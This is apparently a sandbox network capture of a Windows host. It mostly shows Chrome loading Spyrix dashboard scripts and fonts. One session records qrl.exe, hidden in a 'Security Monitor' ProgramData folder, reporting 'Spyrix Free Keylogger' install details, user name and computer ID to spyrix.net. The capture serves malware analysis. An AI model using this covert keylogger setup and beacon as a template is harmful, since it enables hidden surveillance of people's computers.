49	192.168.2.5	49777	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:48 UTC	386	OUT	GET /dashboard30/assets/Modal.module-d62c47b8.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:49 UTC	333	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:49 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 1392 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-570" Cache: STALE X-Cached-Since: 2024-10-02T02:04:42+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:11:49 UTC	1392	IN	Data Raw: 69 6d 70 6f 72 74 7b 61 75 20 61 73 20 6e 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 63 6f 6e 73 74 20 72 3d 28 65 2c 6f 2c 74 29 3d 3e 7b 73 77 69 74 63 68 28 6f 29 7b 63 61 73 65 22 69 6e 63 72 65 61 73 65 22 3a 72 65 74 75 72 6e 20 65 2e 73 6f 72 74 28 28 73 2c 61 29 3d 3e 73 5b 74 5d 3e 61 5b 74 5d 3f 31 3a 2d 31 29 3b 63 61 73 65 22 64 65 63 72 65 61 73 65 22 3a 72 65 74 75 72 6e 20 65 2e 73 6f 72 74 28 28 73 2c 61 29 3d 3e 73 5b 74 5d 3c 61 5b 74 5d 3f 31 3a 2d 31 29 7d 7d 2c 79 3d 6e 28 22 6d 6f 64 61 6c 22 2c 7b 73 74 61 74 65 3a 28 29 3d 3e 28 7b 6d 6f 64 61 6c 73 51 75 65 75 65 3a 5b 5d 7d 29 2c 67 65 74 74 65 72 73 3a 7b 69 73 41 63 74 69 76 65 41 6e 79 4d 6f 64 61 6c 28 65 29 7b 72 65 74 75 72 6e 21 21 65 Data Ascii: import{au as n}from"./index-004f4025.js";const r=(e,o,t)=>{switch(o){case"increase":return e.sort((s,a)=>s[t]>a[t]?1:-1);case"decrease":return e.sort((s,a)=>s[t]<a[t]?1:-1)}},y=n("modal",{state:()=>({modalsQueue:[]}),getters:{isActiveAnyModal(e){return!!e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49778	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:48 UTC	387	OUT	GET /dashboard30/assets/Button.module-6d4e91b8.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:49 UTC	331	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:49 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 629 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-275" Cache: STALE X-Cached-Since: 2024-10-01T07:23:26+00:00 X-Node: m9-up-gc81 Accept-Ranges: bytes
2024-10-02 04:11:49 UTC	629	IN	Data Raw: 63 6f 6e 73 74 20 65 3d 22 67 31 6a 44 45 4e 75 51 22 2c 6f 3d 22 6b 6e 33 2d 6a 70 61 38 22 2c 64 3d 22 70 69 31 61 53 67 71 4e 22 2c 72 3d 22 59 78 32 6d 49 6a 4e 35 22 2c 6e 3d 22 47 51 54 58 6e 50 56 68 22 2c 73 3d 22 53 70 74 36 4f 6f 39 41 22 2c 63 3d 22 52 6d 44 6c 44 74 50 31 22 2c 74 3d 22 6e 4c 49 47 57 42 32 6b 22 2c 6c 3d 22 49 65 50 78 6f 4f 71 53 22 2c 69 3d 22 41 55 6d 76 4e 54 7a 36 22 2c 61 3d 22 5f 36 76 58 51 70 6d 51 44 22 2c 6d 3d 22 71 33 56 30 32 46 68 36 22 2c 62 3d 22 53 4a 30 47 50 63 38 65 22 2c 79 3d 22 5f 35 56 65 61 78 45 64 39 22 2c 70 3d 22 63 4b 66 79 68 4a 71 2d 22 2c 68 3d 22 47 77 2d 6c 36 37 79 4d 22 2c 75 3d 22 58 6a 4a 4d 4f 6a 4b 46 22 2c 78 3d 22 57 5a 68 5a 2d 5a 4b 4c 22 2c 50 3d 22 65 49 48 36 65 73 68 57 22 2c Data Ascii: const e="g1jDENuQ",o="kn3-jpa8",d="pi1aSgqN",r="Yx2mIjN5",n="GQTXnPVh",s="Spt6Oo9A",c="RmDlDtP1",t="nLIGWB2k",l="IePxoOqS",i="AUmvNTz6",a="_6vXQpmQD",m="q3V02Fh6",b="SJ0GPc8e",y="_5VeaxEd9",p="cKfyhJq-",h="Gw-l67yM",u="XjJMOjKF",x="WZhZ-ZKL",P="eIH6eshW",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49776	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:48 UTC	395	OUT	GET /dashboard30/assets/ButtonTemplate.module-c837805f.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:49 UTC	331	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:49 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 129 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-81" Cache: STALE X-Cached-Since: 2024-10-02T02:04:42+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:11:49 UTC	129	IN	Data Raw: 63 6f 6e 73 74 20 74 3d 22 5f 36 70 74 63 2d 76 31 6f 22 2c 6f 3d 22 65 54 55 74 31 76 53 4d 22 2c 63 3d 7b 22 62 75 74 74 6f 6e 2d 74 65 6d 70 6c 61 74 65 22 3a 22 5f 36 70 74 63 2d 76 31 6f 22 2c 62 75 74 74 6f 6e 54 65 6d 70 6c 61 74 65 3a 74 2c 22 77 69 74 68 2d 69 63 6f 6e 22 3a 22 65 54 55 74 31 76 53 4d 22 2c 77 69 74 68 49 63 6f 6e 3a 6f 7d 3b 65 78 70 6f 72 74 7b 63 7d 3b 0a Data Ascii: const t="_6ptc-v1o",o="eTUt1vSM",c={"button-template":"_6ptc-v1o",buttonTemplate:t,"with-icon":"eTUt1vSM",withIcon:o};export{c};

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49779	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:48 UTC	391	OUT	GET /dashboard30/assets/ButtonText.module-c769b9ae.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:49 UTC	331	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:49 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 120 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-78" Cache: STALE X-Cached-Since: 2024-10-02T02:04:42+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:11:49 UTC	120	IN	Data Raw: 63 6f 6e 73 74 20 74 3d 22 76 61 4a 67 37 58 47 66 22 2c 6f 3d 22 6d 74 78 46 75 75 71 6f 22 2c 6e 3d 22 4d 74 41 55 6d 34 72 64 22 2c 78 3d 7b 22 62 75 74 74 6f 6e 2d 74 65 78 74 22 3a 22 76 61 4a 67 37 58 47 66 22 2c 62 75 74 74 6f 6e 54 65 78 74 3a 74 2c 74 65 78 74 3a 6f 2c 70 72 69 6d 61 72 79 3a 6e 7d 3b 65 78 70 6f 72 74 7b 78 20 61 73 20 63 7d 3b 0a Data Ascii: const t="vaJg7XGf",o="mtxFuuqo",n="MtAUm4rd",x={"button-text":"vaJg7XGf",buttonText:t,text:o,primary:n};export{x as c};

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49780	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:48 UTC	416	OUT	GET /dashboard30/assets/Button.vue_vue_type_script_setup_true_lang-56edf5a6.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:49 UTC	332	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:49 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 1185 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-4a1" Cache: STALE X-Cached-Since: 2024-10-01T15:20:06+00:00 X-Node: m9-up-gc10 Accept-Ranges: bytes
2024-10-02 04:11:49 UTC	1185	IN	Data Raw: 69 6d 70 6f 72 74 7b 64 20 61 73 20 70 2c 6f 20 61 73 20 6e 2c 62 20 61 73 20 69 2c 72 20 61 73 20 73 2c 66 20 61 73 20 75 2c 6e 20 61 73 20 64 2c 75 20 61 73 20 6c 2c 77 20 61 73 20 74 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 63 20 61 73 20 61 7d 66 72 6f 6d 22 2e 2f 42 75 74 74 6f 6e 2e 6d 6f 64 75 6c 65 2d 36 64 34 65 39 31 62 38 2e 6a 73 22 3b 63 6f 6e 73 74 20 66 3d 5b 22 74 79 70 65 22 2c 22 64 69 73 61 62 6c 65 64 22 2c 22 6f 6e 43 6c 69 63 6b 22 5d 2c 6d 3d 5b 22 6f 6e 43 6c 69 63 6b 22 5d 2c 6b 3d 70 28 7b 5f 5f 6e 61 6d 65 3a 22 42 75 74 74 6f 6e 22 2c 70 72 6f 70 73 3a 7b 73 69 7a 65 3a 7b 64 65 66 61 75 6c 74 3a 22 6d 64 22 7d 2c 76 61 72 69 61 6e 74 3a 7b 64 65 66 61 75 6c 74 3a 22 Data Ascii: import{d as p,o as n,b as i,r as s,f as u,n as d,u as l,w as t}from"./index-004f4025.js";import{c as a}from"./Button.module-6d4e91b8.js";const f=["type","disabled","onClick"],m=["onClick"],k=p({__name:"Button",props:{size:{default:"md"},variant:{default:"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49781	158.69.117.119	443	1684	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:49 UTC	166	OUT	POST /dashboard/prg-actions HTTP/1.1 Host: spyrix.net User-Agent: curl/7.64.0 Accept: / Content-Length: 416 Content-Type: application/x-www-form-urlencoded
2024-10-02 04:11:49 UTC	416	OUT	Data Raw: 26 61 63 74 69 6f 6e 3d 61 70 70 3a 77 69 7a 61 72 64 3a 53 74 61 72 74 26 64 61 74 61 3d 26 70 72 67 5f 69 64 3d 53 70 79 72 69 78 20 46 72 65 65 20 4b 65 79 6c 6f 67 67 65 72 26 70 72 67 5f 76 65 72 3d 31 31 2e 36 2e 32 32 26 75 73 65 72 5f 6e 61 6d 65 3d 61 6c 66 6f 6e 73 26 75 73 65 72 3d 26 63 6f 6d 70 5f 6e 61 6d 65 3d 38 34 31 36 31 38 26 63 6f 6d 70 5f 69 64 3d 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 5f 32 34 31 30 30 32 30 30 31 30 33 34 26 63 6f 6d 70 5f 74 69 6d 65 3d 32 30 32 34 2d 31 30 2d 30 32 20 30 30 3a 31 31 3a 34 37 2e 33 37 33 26 70 72 67 5f 6c 6e 67 3d 65 6e 67 6c 69 73 68 26 6f 73 5f 63 61 70 74 69 6f 6e 3d 20 28 29 26 6f 73 5f 74 79 70 65 3d 77 69 6e 64 6f 77 73 26 Data Ascii: &action=app:wizard:Start&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=841618&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001034&comp_time=2024-10-02 00:11:47.373&prg_lng=english&os_caption= ()&os_type=windows&
2024-10-02 04:11:49 UTC	170	IN	HTTP/1.1 201 Created Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:11:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 04:11:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49782	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:49 UTC	420	OUT	GET /dashboard30/assets/ButtonText.vue_vue_type_script_setup_true_lang-1bda6e81.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:50 UTC	331	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:50 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 796 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-31c" Cache: STALE X-Cached-Since: 2024-10-01T23:20:45+00:00 X-Node: m9-up-gc42 Accept-Ranges: bytes
2024-10-02 04:11:50 UTC	796	IN	Data Raw: 69 6d 70 6f 72 74 7b 64 2c 67 20 61 73 20 63 2c 63 20 61 73 20 73 2c 6f 20 61 73 20 66 2c 62 20 61 73 20 6d 2c 68 20 61 73 20 70 2c 6e 2c 75 20 61 73 20 61 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 5f 20 61 73 20 78 7d 66 72 6f 6d 22 2e 2f 54 65 78 74 2e 76 75 65 5f 76 75 65 5f 74 79 70 65 5f 73 63 72 69 70 74 5f 73 65 74 75 70 5f 74 72 75 65 5f 6c 61 6e 67 2d 61 36 36 34 35 34 32 64 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 63 20 61 73 20 6f 7d 66 72 6f 6d 22 2e 2f 42 75 74 74 6f 6e 54 65 78 74 2e 6d 6f 64 75 6c 65 2d 63 37 36 39 62 39 61 65 2e 6a 73 22 3b 63 6f 6e 73 74 20 62 3d 64 28 7b 5f 5f 6e 61 6d 65 3a 22 42 75 74 74 6f 6e 54 65 78 74 22 2c 70 72 6f 70 73 3a 7b 77 68 69 74 65 53 70 61 63 65 3a Data Ascii: import{d,g as c,c as s,o as f,b as m,h as p,n,u as a}from"./index-004f4025.js";import{_ as x}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";import{c as o}from"./ButtonText.module-c769b9ae.js";const b=d({__name:"ButtonText",props:{whiteSpace:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49783	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:49 UTC	637	OUT	GET /dashboard30/assets/Nunito-Bold-765bfff4.woff2 HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://cdn.cdndownload.net/dashboard30/assets/index-93c74fef.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:50 UTC	365	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:50 GMT Content-Type: font/woff2 Content-Length: 43608 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-aa58" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: HIT X-Cached-Since: 2024-10-02T04:11:45+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:11:50 UTC	3731	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 aa 58 00 10 00 00 00 02 04 48 00 00 a9 f2 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 84 32 1b 82 91 14 1c 9a 08 06 60 3f 53 54 41 54 44 00 95 2a 11 08 0a 84 b7 40 83 c9 72 0b 91 16 00 01 36 02 24 03 a1 38 04 20 05 87 46 07 cd 35 0c 07 5b c9 c3 91 09 e5 c6 76 bf d7 2d 00 20 2d 83 74 1b 02 94 6d 6a 69 d9 e3 f3 5c 60 93 21 98 eb 7b 76 8e da 71 62 a5 de cb 58 c2 8e 59 2d 30 76 30 9e e7 ce 27 c9 fe ff ff ff ff ff 7f 51 b2 90 31 bd ff 90 fb 24 49 40 04 50 51 50 56 b5 b6 db 74 9a 05 44 b3 14 33 8a 62 a8 15 24 2c aa a4 ca 56 35 bd 3b 88 5e 1e fb 9e 62 18 a2 7b 4b 75 a4 3b d5 29 6b b3 59 a5 72 8a e7 18 bb cb 54 4a 99 7b 64 a6 94 8e cb f5 86 9c 7b 64 b1 c6 98 11 37 96 32 dd 8f f7 47 d8 5b cc 98 e4 ac 8f Data Ascii: wOF2XH2`?STATD*@r6$8 F5[v- -tmji\`!{vqbXY-0v0'Q1$I@PQPVtD3b$,V5;^b{Ku;)kYrTJ{d{d72G[
2024-10-02 04:11:50 UTC	4096	IN	Data Raw: 60 92 86 62 a7 40 be ec c4 00 3d 38 9d 4c 6e 83 2f e1 f4 78 64 2c 41 21 84 05 71 24 04 81 6e 2e c2 da 87 8b e8 b5 7e 65 11 b5 48 76 90 ce 47 79 2b 29 28 74 b6 c7 ba 5c c3 e6 32 40 c4 8c 46 0f c6 39 74 f2 ad 01 c8 46 41 66 af ab ba f1 08 b3 5f 40 3b 65 0e 76 93 ee 73 34 8e 0e ab 8e 67 bf a9 22 9a fa 5e 2f 2e 02 11 75 de 16 e1 27 4a 21 47 52 3d 2d 3d 65 df 20 48 b5 34 4c 9c 28 49 3e a6 af 67 1f 2b 2f 9e 64 04 e5 e3 d8 94 fa 9c 7a 48 5c 87 c3 e2 1d d2 dc 91 27 81 f8 dc d1 df 6d 15 f2 ae da 75 b9 3b 90 b3 b5 f1 2f 1a f3 97 5e 7f eb af be 44 39 d4 f9 51 c9 49 4f 2b a6 e8 cc 72 50 09 57 e2 37 bc 98 bf d7 e7 70 37 18 15 b6 32 c4 a3 6f 7a d8 25 5f ce 93 fe dc 82 96 49 6d be 3c 2e 76 34 e4 d1 1a 02 ba 29 de a0 e9 f7 b6 8b 95 ad 2d a8 b2 8c 8b 0a cf dd b9 0f d9 2e Data Ascii: `b@=8Ln/xd,A!q$n.~eHvGy+)(t\2@F9tFAf_@;evs4g"^/.u'J!GR=-=e H4L(I>g+/dzH\'mu;/^D9QIO+rPW7p72oz%_Im<.v4)-.
2024-10-02 04:11:50 UTC	4096	IN	Data Raw: 67 9b 5b 6a d5 e8 e4 79 f3 66 7e cf fc 39 f6 19 d6 30 64 a2 6e 9f e5 6f eb b7 42 13 05 d6 6e 8a d4 a4 e4 59 eb ac a5 bb 29 5d 88 a2 4f c7 74 4e 4a d3 3e 31 e7 b3 17 8e b8 d0 76 11 48 6d 5a a1 f3 39 5f 5d 17 a8 9d 93 31 bc 03 19 0d fb 77 c8 53 ae 12 67 d3 97 a9 e5 12 f6 c7 37 0e 47 03 2a 2b 38 42 0f 09 8c 9f 6f 22 48 24 94 ee 24 b7 e8 d3 25 1f e6 17 e6 23 8a 07 7f d5 7c ed 3a ab 4b 4b 8c 9a 66 0e de 67 5e af fa 83 3a c2 b9 ea 69 55 74 f4 90 af 8e 85 55 25 b1 b6 91 f1 0e 00 2b 87 cd 7f bc c9 19 8f 7e 64 3a eb 4b 3f 92 05 7d 59 ff 77 a8 46 8d 4d d7 2d 89 00 f4 e5 e7 01 f7 f2 a2 e3 ec 36 9d 05 7c e3 88 19 18 76 41 74 43 f0 0e 4d 61 8d 2a d9 bf a5 9c 97 8a c4 91 14 2c 2a 8f bb f4 cb 5a d6 77 9f ab c5 5c a7 c5 76 0e 99 a1 8f 61 48 00 ab bf 0d 50 6b e2 40 fd 29 Data Ascii: g[jyf~90dnoBnY)]OtNJ>1vHmZ9_]1wSg7G+8Bo"H$$%#\|:KKfg^:iUtU%+~d:K?}YwFM-6\|vAtCMa,*Zw\vaHPk@)
2024-10-02 04:11:50 UTC	4096	IN	Data Raw: 7c 74 00 94 f8 83 03 01 57 12 6b a5 b4 59 46 97 d1 dd 65 7a 29 e7 95 82 cf 0a 7c 57 ee bd a6 4f 46 e4 f8 80 65 ff 60 3d 12 15 8b 33 e0 15 ff d4 e0 bb 5a 35 9a 34 46 c2 48 5f 9d 66 f5 5a 22 25 5b 1e ed 13 e3 4e 79 94 fd 1b 99 d0 d9 b9 76 3f 24 c7 d6 3b 01 55 18 0b 65 3a 5a 09 12 19 d8 d1 30 d2 c2 24 22 47 44 42 06 a1 42 d0 d0 e1 18 d8 c4 24 64 a4 e2 c4 53 52 51 d0 33 71 73 cd 75 37 c4 bb ed 8e 7b 12 fd eb be 07 52 bd 92 e6 b5 37 d2 65 7a 27 c3 6e fe e7 ab 3e b9 2b 41 a1 9b 72 64 cb 93 af c0 7b 59 3e 78 e8 3f 2f bd e5 a1 88 a7 62 5e 4a f0 94 e2 5a e1 c2 10 8e 19 c6 0c 0b 79 2b b3 d4 67 3e fe e7 ab 9c 9f 0a fe be 58 a6 52 80 2a cb 7d 15 a8 da 4a 35 56 a9 b5 da 77 6b d4 09 52 2f 58 83 b5 1a ad d3 24 44 b3 f5 5a 6c f4 c3 26 6d 36 db a2 c3 56 3f 85 ea 14 a6 4b Data Ascii: \|tWkYFez)\|WOFe`=3Z54FH_fZ"%[Nyv?$;Ue:Z0$"GDBB$dSRQ3qsu7{R7ez'n>+Ard{Y>x?/b^JZy+g>XR*}J5VwkR/X$DZl&m6V?K
2024-10-02 04:11:50 UTC	4096	IN	Data Raw: 50 4e a7 93 26 a5 bf 5e 6a 4d 66 13 b4 f6 b3 2d c5 74 ae b8 b4 76 3e 5c 71 d3 52 ab 22 9a f7 68 29 3e 6f 69 77 da 17 9a 52 88 b3 9c 07 33 2d d2 a9 71 30 fb 25 1c d8 f9 c4 6e 2b 9c d5 75 70 bf f6 55 2a ae 66 8c 92 37 3c 52 af 34 e3 99 a1 5f f2 77 d7 fb 4d 11 0d 37 22 d2 85 54 27 5d a7 50 47 16 3b 14 65 84 01 87 1d e8 3c 7a 1f 90 1b 06 35 23 58 2d 63 49 f2 b6 ac 8e 6c 59 35 af 4d 77 44 da 36 9b 6d 0f 5e d1 27 5b d3 c7 31 6c 25 42 29 4d 3d ef 90 9d ef 18 83 0f 73 91 12 c3 8c e5 5c da 89 5b 86 93 fc a5 9c 6d 8f 3e 0f 75 b6 9f 03 95 80 9a a6 1b 07 fa 00 ef 37 29 e5 3d 0b ac 8b 61 7e 4c 76 02 d7 43 38 39 7e 11 8d 13 4a 6d 8f 8a 52 e0 6e c0 14 b3 15 12 20 b4 89 d4 b8 03 a8 77 07 b7 3d d4 16 39 5f 7a f0 5c a4 17 6e 86 a5 97 47 2a 8d 95 14 42 39 8d 38 e9 a7 c4 25 Data Ascii: PN&^jMf-tv>\qR"h)>oiwR3-q0%n+upUf7<R4_wM7"T']PG;e<z5#X-cIlY5MwD6m^'[1l%B)M=s\[m>u7)=a~LvC89~JmRn w=9_z\nGB98%
2024-10-02 04:11:50 UTC	2043	IN	Data Raw: 2f eb 5e 0e c5 fb ea 1a eb 70 8b 04 5d 6f c0 7d 8e 1b 9e 7e 66 a1 df e8 e9 11 e7 26 0a 85 9d d9 41 a1 32 58 6b a0 f1 c8 37 2a b1 3e ed fa ae 13 a2 93 0c 80 bb 01 c6 a5 44 61 76 b6 c4 e0 8b cf e8 3e b3 5d fc f7 61 e1 df be 89 36 c7 0e 34 dd 83 24 72 33 7a 19 a3 9c 62 71 b9 3e c3 f0 37 e0 aa 1b 01 37 16 6a b0 2d 0b bd 84 20 97 51 30 1d d8 53 2c 97 f6 15 a3 9e dc f7 e1 3c e3 16 64 df 2e 2a f6 84 96 8b 5d a3 15 eb bd 06 5d ef ea 29 26 12 9b e7 dd 1c 4f 19 c0 ae 49 b7 79 da 3f 74 2f fe 8c 0a 97 bc ed 1a 44 ee d3 fe a1 d1 9e d2 72 b0 e3 14 78 f5 db ce 41 ea 7d fa 53 f0 53 f3 ec 5c 92 c4 19 bc 75 57 a4 69 5d 18 f6 bd 4c 5a 85 66 4c aa 2e ca 06 97 58 d5 97 eb 5d d3 e8 15 4f ce 29 1a 27 4b a9 5e 9c e3 5d 1d c5 4c c9 29 9e 15 57 83 31 4f 2b 69 49 6d af 9b 54 66 c8 Data Ascii: /^p]o}~f&A2Xk7>Dav>]a64$r3zbq>77j- Q0S,<d.]])&OIy?t/DrxA}SS\uWi]LZfL.X]O)'K^]L)W1O+iImTf
2024-10-02 04:11:50 UTC	4096	IN	Data Raw: c3 f2 9c 52 e9 df 70 31 fe 4d d0 46 73 6f ff b9 40 9f 60 28 d1 da c7 9e 62 bd 51 9f af 1b 1c d6 c5 0e 5f 12 51 49 0e 10 d1 35 2c 1c 0f 0c 05 8a a6 89 fc 14 32 9e a7 d3 2b bb 6c 09 f9 fa 9f b7 bb 7f 0e 94 1a 9d 99 b7 db fd a3 81 83 71 39 b4 27 06 3f 5c ae 37 fb 19 a7 53 29 df af f1 9c 79 a2 be 86 0f 82 49 1a 14 47 66 7e ba 28 f0 5d ff 6f ab 35 8c 25 79 86 c2 bf ff 52 4e 78 68 30 c9 25 f1 d6 c2 28 bd d0 45 88 fb 6d 73 1e 69 5d c0 3f 71 88 f4 27 8c 7c f8 74 39 c1 10 62 4a 54 38 5b d2 41 26 63 72 c8 d6 4f 87 5d 9c 3d 1f 7d 3c c3 d0 a8 e5 18 3c b7 d8 0d 27 1a a5 e4 fd 5f 0e f6 59 c8 68 13 d7 60 4a b6 6d e0 bf ed 6e c1 d8 c9 93 c7 e9 b3 98 8f 63 d8 0f d3 cd 1d 93 87 91 e7 76 3b c9 06 bb 42 22 b6 65 f3 00 83 c6 ac 98 e8 8c c4 db f1 da d1 1e 9f 2f 55 f6 fc 3a 8d Data Ascii: Rp1MFso@`(bQ_QI5,2+lq9'?\7S)yIGf~(]o5%yRNxh0%(Emsi]?q'\|t9bJT8[A&crO]=}<<'_Yh`Jmncv;B"e/U:
